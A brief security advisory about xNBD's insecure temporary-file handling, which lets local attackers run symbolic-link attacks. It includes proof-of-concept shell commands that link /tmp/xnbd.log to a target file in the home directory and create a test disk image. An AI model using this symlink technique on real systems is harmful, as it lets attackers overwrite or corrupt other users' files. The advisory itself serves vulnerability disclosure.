xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. 

Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.

$ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log

  $ touch DISK
  $ truncate --size=$((100*1024**2)) DISK
